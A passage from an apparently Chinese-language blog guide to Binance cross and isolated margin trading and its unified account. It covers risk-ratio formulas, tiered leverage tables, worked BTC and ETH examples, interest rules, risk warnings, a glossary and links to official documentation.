mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第i种资产数量</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第i种资产市价</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第i种资产抵押率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>：资产种类数</li></ul><h4 id="12-2-2-全仓杠杆的优势与应用">12.2.2 全仓杠杆的优势与应用</h4><p><strong>优势分析：</strong></p><ol><li><strong>资金效率高</strong>：多资产交叉担保提升资金利用率</li><li><strong>风险分散</strong>：单一资产的波动对整体风险影响较小</li><li><strong>操作便利</strong>：无需频繁调整单个仓位保证金</li><li><strong>成本较低</strong>：统一管理降低维护成本</li></ol><p><strong>适用场景：</strong></p><ul><li>多币种投资组合管理</li><li>长期持仓策略</li><li>专业交易者的复杂策略</li></ul><h4 id="12-2-3-全仓杠杆的实际操作">12.2.3 全仓杠杆的实际操作</h4><p><strong>开仓过程：</strong></p><ol><li>向全仓杠杆账户转入保证金</li><li>选择交易对和杠杆倍数（3x或5x）</li><li>设置自动借款模式</li><li>执行买入或卖出订单</li></ol><p><strong>具体案例：BTC多头操作</strong><br>假设你有10,000 USDT本金，预期BTC上涨：</p><p><strong>步骤1：设置参数</strong></p><ul><li>转入保证金：10,000 USDT</li><li>选择杠杆：3倍</li><li>目标仓位：30,000 USDT等值BTC</li></ul><p><strong>步骤2：执行交易</strong></p><ul><li>系统自动借入：20,000 USDT</li><li>购买BTC：以当前价格买入30,000 USDT等值BTC</li><li>建立仓位：持有BTC多头仓位</li></ul><p><strong>步骤3：收益计算</strong><br>如果BTC上涨20%：</p><ul><li>仓位价值：36,000 USDT</li><li>偿还借款：20,000 USDT</li><li>净收益：6,000 USDT（收益率60%）</li></ul><h3 id="12-3-逐仓杠杆详解">12.3 逐仓杠杆详解</h3><p>逐仓杠杆（Isolated Margin）为每个交易对创建独立的杠杆账户，风险隔离，保证金独立管理。</p><h4 id="12-3-1-逐仓杠杆的核心特征">12.3.1 逐仓杠杆的核心特征</h4><p><strong>账户隔离机制：</strong></p><ul><li>每个交易对独立账户</li><li>风险完全隔离</li><li>保证金独立计算</li></ul><p><strong>风险率计算：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">so</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.3324em;vertical-align:-0.9721em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">ai</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">ai</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">ai</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9721em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">so</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：逐仓风险率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">ai</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：该交易对账户资产总值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">ai</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：该交易对借贷总值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">ai</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：该交易对未归还利息</li></ul><p><strong>保证金要求：</strong><br>每个逐仓账户只能持有对应交易对的两种资产，如BTC/USDT逐仓账户只能持有BTC和USDT。</p><h4 id="12-3-2-逐仓杠杆的阶梯杠杆系统">12.3.2 逐仓杠杆的阶梯杠杆系统</h4><p>币安逐仓杠杆采用阶梯杠杆系统，根据仓位大小提供不同的杠杆倍数：</p><p><strong>风险控制参数表：</strong></p><table><thead><tr><th>杠杆倍数</th><th>初始风险率</th><th>追加保证金率</th><th>强平风险率</th></tr></thead><tbody><tr><td>3倍</td><td>1.5</td><td>1.3</td><td>1.1</td></tr><tr><td>5倍</td><td>1.25</td><td>1.15</td><td>1.05</td></tr><tr><td>10倍</td><td>1.11</td><td>1.05</td><td>1.02</td></tr></tbody></table><h4 id="12-3-3-逐仓杠杆的风险管理">12.3.3 逐仓杠杆的风险管理</h4><p><strong>风险状态分级：</strong></p><table><thead><tr><th>风险率范围</th><th>交易状态</th><th>借贷状态</th><th>转出状态</th><th>追加保证金通知</th></tr></thead><tbody><tr><td>&gt; 2.0</td><td>正常</td><td>允许</td><td>允许</td><td>无</td></tr><tr><td>1.5-2.0</td><td>正常</td><td>允许</td><td>禁止</td><td>无</td></tr><tr><td>初始-1.5</td><td>正常</td><td>禁止</td><td>禁止</td><td>无</td></tr><tr><td>追保-初始</td><td>正常</td><td>禁止</td><td>禁止</td><td>是</td></tr><tr><td>≤强平率</td><td>禁止</td><td>禁止</td><td>禁止</td><td>强制平仓</td></tr></tbody></table><h4 id="12-3-4-逐仓杠杆实际操作案例">12.3.4 逐仓杠杆实际操作案例</h4><p><strong>ETH/USDT逐仓做多案例：</strong></p><p><strong>初始设置：</strong></p><ul><li>本金：5,000 USDT</li><li>杠杆：5倍</li><li>ETH价格：2,000 USDT</li></ul><p><strong>交易过程：</strong></p><ol><li><strong>开设逐仓账户</strong>：选择ETH/USDT交易对</li><li><strong>转入保证金</strong>：5,000 USDT到ETH/USDT逐仓账户</li><li><strong>借入资金</strong>：系统借入20,000 USDT</li><li><strong>执行交易</strong>：以2,000 USDT价格买入12.5 ETH</li></ol><p><strong>风险监控：</strong></p><ul><li>初始风险率：(12.5×2000)/(20000) = 1.25</li><li>安全范围：风险率 &gt; 1.15</li><li>强平条件：风险率 ≤ 1.05</li></ul><p><strong>收益/损失分析：</strong><br>如果ETH上涨到2,400 USDT：</p><ul><li>仓位价值：12.5 × 2,400 = 30,000 USDT</li><li>偿还借款：20,000 USDT</li><li>净收益：5,000 USDT（100%收益率）</li></ul><p>如果ETH下跌到1,680 USDT：</p><ul><li>仓位价值：12.5 × 1,680 = 21,000 USDT</li><li>风险率：21,000/20,000 = 1.05</li><li>触发强制平仓</li></ul><h3 id="12-4-杠杆交易的风险控制">12.4 杠杆交易的风险控制</h3><h4 id="12-4-1-利息计算机制">12.4.1 利息计算机制</h4><p><strong>利息计算公式：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">cos</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight">orro</span><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7651em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">rs</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">cos</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：利息费用</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight">orro</span><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：借款金额</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：小时利率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7651em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">h</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">rs</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：借款时长（小时）</li></ul><p><strong>计息规则：</strong></p><ul><li>按整点小时计算</li><li>借款成功后立即计为1小时</li><li>不足1小时按1小时计息</li></ul><p><strong>实例计算：</strong><br>假设小时利率0.001%，用户13:20借入1,000 USDT，14:15还款：<br>利息 = 1,000 × 0.001% × 2小时 = 0.02 USDT</p><h4 id="12-4-2-做多和做空操作详解">12.4.2 做多和做空操作详解</h4><p><strong>杠杆做多流程：</strong></p><ol><li><strong>预判上涨</strong>：认为某资产将上涨</li><li><strong>借入基础货币</strong>：如借入USDT买BTC</li><li><strong>建立多头仓位</strong>：买入目标资产</li><li><strong>价格上涨时卖出</strong>：获得价差收益</li><li><strong>偿还借款</strong>：归还本金和利息</li></ol><p><strong>杠杆做空流程：</strong></p><ol><li><strong>预判下跌</strong>：认为某资产将下跌</li><li><strong>借入目标资产</strong>：如借入BTC</li><li><strong>立即卖出</strong>：以当前价格卖出借入的资产</li><li><strong>价格下跌时买回</strong>：以更低价格买回</li><li><strong>偿还借款</strong>：归还借入的资产数量</li></ol><h4 id="12-4-3-风险管理最佳实践">12.4.3 风险管理最佳实践</h4><p><strong>资金管理原则：</strong></p><ol><li><strong>合理杠杆</strong>：根据经验选择适当倍数</li><li><strong>分散投资</strong>：避免单一资产集中风险</li><li><strong>设置止损</strong>：使用OCO订单管理风险</li><li><strong>监控风险率</strong>：保持安全的风险水平</li></ol><p><strong>风险控制工具：</strong></p><ul><li><strong>止盈止损订单</strong>：自动化风险管理</li><li><strong>OCO订单</strong>：一取消全部订单</li><li><strong>风险率警报</strong>：及时追加保证金</li><li><strong>定期检查</strong>：监控市场和仓位状态</li></ul><h3 id="12-5-杠杆交易与统一账户的融合">12.5 杠杆交易与统一账户的融合</h3><h4 id="12-5-1-统一账户中的杠杆交易优势">12.5.1 统一账户中的杠杆交易优势</h4><p><strong>资金效率提升：</strong><br>在统一账户模式下，杠杆账户的资产可以作为合约交易的抵押品，实现真正的资金统一管理。</p><p><strong>风险评估改进：</strong><br>统一账户的uniMMR计算会考虑杠杆仓位的风险，提供更全面的风险评估。</p><p><strong>操作简化：</strong><br>无需频繁在不同账户间划转资金，提高交易效率。</p><h4 id="12-5-2-注意事项与限制">12.5.2 注意事项与限制</h4><p><strong>重要限制：</strong></p><ol><li><strong>逐仓杠杆不参与统一账户</strong>：逐仓杠杆的资产不计入uniMMR</li><li><strong>全仓杠杆才能统一</strong>：只有全仓杠杆账户参与统一账户计算</li><li><strong>API权限变化</strong>：启用统一账户后API权限会发生变化</li></ol><p><strong>操作建议：</strong></p><ul><li>优先使用全仓杠杆以享受统一账户便利</li><li>理解风险计算的复杂性</li><li>保持充足的安全边际</li></ul><h2 id="13-总结">13. 总结</h2><p>币安统一账户与保证金交易体系通过以下方式提升交易体验：</p><ol><li><strong>风险管理统一化</strong>：通过uniMMR统一衡量整体风险</li><li><strong>资金效率最大化</strong>：多资产保证金提高资金利用率</li><li><strong>操作流程简化</strong>：统一账户减少资金划转需求</li><li><strong>风险控制精细化</strong>：分级风险预警和自动风控机制</li><li><strong>灵活的杠杆选择</strong>：支持交叉和隔离保证金模式</li><li><strong>实时风险监控</strong>：动态调整保证金要求和风险参数</li></ol><h3 id="重要风险提示">重要风险提示</h3><ul><li>杠杆交易具有高风险，可能导致全部资金损失</li><li>必须充分理解风险机制和计算方法</li><li>合理管理仓位和保证金水平</li><li>仅使用可承受损失的资金进行杠杆交易</li><li>密切关注市场波动和保证金率变化</li></ul><p>统一账户模式适合有经验的交易者，建议在充分了解机制后谨慎使用。</p><h2 id="14-风险管理与案例分析">14. 风险管理与案例分析</h2><blockquote><p><strong>📋 重要提示</strong>：由于风险分析内容极其丰富且具有重要参考价值，我们将其独立成专门文档。</p></blockquote><p><strong>完整的风险分析与案例研究请参阅：</strong><br>👉 <strong><a href="https://blog-blockchain.xyz/finance/binance-unified-account-risk-analysis/">统一账户保证金交易的风险分析与案例研究</a></strong></p><p>该专题文档深入分析了统一账户保证金交易面临的各类风险，包括：</p><ul><li><strong>交易所参数调整风险</strong>：2024年Binance折算率调整的实际案例</li><li><strong>极端市场条件风险</strong>：BitMEX闪崩、Coinbase流动性危机等</li><li><strong>系统性风险案例</strong>：LTCM和FTX崩塌的详细分析</li><li><strong>技术和运营风险</strong>：清算机制错位、算法交易放大等</li><li><strong>风险缓解建议</strong>：多层次风险管理框架和具体操作指导</li></ul><p><strong>特别推荐阅读</strong>：</p><ul><li><strong>LTCM案例研究</strong>：金融史上最经典的杠杆风险教训</li><li><strong>风险管理决策框架</strong>：系统化的风险评估和监控体系</li><li><strong>实用风险控制工具</strong>：杠杆公式、预警阈值、压力测试方法</li></ul><p><strong>核心风险管理原则总结：</strong></p><ol><li><strong>永远不要低估风险</strong> - 历史危机证明风险常超出模型预测</li><li><strong>分散化是王道</strong> - 资产配置和风险来源的多元化</li><li><strong>流动性至上</strong> - 危机时期流动性比收益率更重要</li><li><strong>保护本金永远比追求收益更重要</strong></li></ol><hr><h2 id="附录：重要术语表">附录：重要术语表</h2><table><thead><tr><th>术语</th><th>英文</th><th>定义</th></tr></thead><tbody><tr><td>统一账户维持保证金率</td><td>uniMMR</td><td>衡量账户整体风险的核心指标</td></tr><tr><td>组合保证金</td><td>Portfolio Margin</td><td>多资产、多账户统一保证金计算模式</td></tr><tr><td>折算率</td><td>Collateral Ratio</td><td>资产作为保证金时的有效比例</td></tr><tr><td>资产指数价格</td><td>Asset Index Price</td><td>用于统一计价的资产基准价格</td></tr><tr><td>开仓亏损</td><td>Opening Loss</td><td>跨资产交易时的折算率差异损失</td></tr><tr><td>维持保证金</td><td>Maintenance Margin</td><td>维持仓位所需的最低保证金</td></tr><tr><td>初始保证金</td><td>Initial Margin</td><td>开仓时需要的保证金</td></tr><tr><td>调整后权益</td><td>Adjusted Equity</td><td>扣除各种调整因子后的净权益</td></tr></tbody></table><hr><h2 id="参考资源与延伸阅读">参考资源与延伸阅读</h2><h3 id="官方文档资源">官方文档资源</h3><p><strong>币安统一账户核心文档：</strong></p><ul><li><a href="https://www.binance.com/zh-CN/support/faq/detail/bddd924496d74ecd8820a6d95585ccee">币安统一账户模式介绍</a> - 统一账户的基础概念和运作机制</li><li><a href="https://www.binance.com/zh-CN/support/faq/detail/4868b2f1aa6c4d08af973328462bb0bd">统一账户维持保证金比率(uniMMR)计算详解</a> - uniMMR的计算公式和风险管理机制</li><li><a href="https://www.binance.com/zh-CN/support/faq/detail/174861644e7049aaa64845f1db2e4376">币安统一账户交易规则</a> - 完整的交易规则和限制条件</li></ul><p><strong>保证金与风险管理：</strong></p><ul><li><a href="https://www.binance.com/zh-CN/support/faq/detail/d0c3558829fa41eabeeaf3c32dbe1dad">币安统一账户强制平仓机制</a> - 强制平仓的触发条件和执行流程</li><li><a href="https://www.binance.com/zh-CN/support/faq/detail/7ee6b3f65d5a421491c0a5588223fd14">如何在币安启用统一账户模式</a> - 账户启用的操作指南</li><li><a href="https://www.binance.com/zh-CN/support/faq/detail/07bd62ee3fe24461a623da54fa0f2865">如何查看统一账户信息</a> - 界面操作和信息查看</li></ul><p><strong>组合保证金与折算率：</strong></p><ul><li><a href="https://www.binance.com/zh-CN/futures/trading-rules/perpetual/portfolio-margin/collateral-ratio">币安统一账户支持的抵押品与折算率</a> - 实时折算率数据和资产支持列表</li><li><a href="https://www.binance.com/zh-CN/support/faq/detail/937b8e81d03f475c8d7a0d42ec381510">统一账户专业版阶梯抵押率</a> - 数量敏感的折算率机制</li><li><a href="https://www.binance.com/zh-CN/support/faq/detail/c1df531bb7c44ea2a10919a74fd84f5e">币安统一账户自动资金转移功能</a> - 资金调配机制和利率计算</li></ul><p><strong>API与技术文档：</strong></p><ul><li><a href="https://www.binance.com/zh-CN/support/faq/detail/ccf04078d7774d479f11ae15c4f56081">币安统一账户API文档</a> - 程序化交易接口</li><li><a href="https://binance-docs.github.io/apidocs/spot/cn/#get-sapi-v1-portfolio-asset-index-price">资产指数价格API接口</a> - 实时价格获取</li></ul><p><strong>法律与合规：</strong></p><ul><li><a href="https://www.binance.com/zh-CN/about-legal/portfolio-margin">币安统一账户使用条款</a> - 法律条款和用户协议</li></ul><h3 id="深度研究资源">深度研究资源</h3><p><strong>行业分析文章：</strong></p><ul><li><a href="https://www.blocktempo.com/introducing-the-binance-portfolio-margin-program/">币安组合保证金计划介绍</a> - 第三方专业分析</li><li><a href="https://www.binance.com/zh-CN/square/post/500325">数字资产组合保证金风险管理研究</a> - 币安Square深度文章</li><li><a href="https://www.binance.com/zh-TC/support/faq/detail/c983a9268cfa4e70a4916c276bb3b7bc">联合保证金模式在衍生品交易中的应用</a> - 技术实现分析</li></ul><p><strong>市场案例与风险分析：</strong></p><ul><li><a href="https://www.binance.com/zh-CN/square/post/19876795531562">币安广场组合保证金讨论</a> - 用户经验分享和策略讨论</li><li><a href="https://www.binance.com/zh-CN/square/post/24018395477785">组合保证金负余额阈值机制</a> - VIP等级与风险管理</li></ul><p><strong>相关概念延伸：</strong></p><ul><li><a href="https://www.binance.com/zh-CN/support/faq/list/4-18-36">币安合约交易基础概念</a> - 合约交易入门</li><li><a href="https://www.binance.com/zh-CN/support/faq/list/4-18-63">U本位合约详解</a> - U本位合约机制</li><li><a href="https://www.binance.com/zh-CN/support/faq/list/4-18-64">币本位合约详解</a> - 币本位合约机制</li><li><a href="https://www.binance.com/zh-CN/support/faq/list/3-16-180">杠杆交易基础</a> - 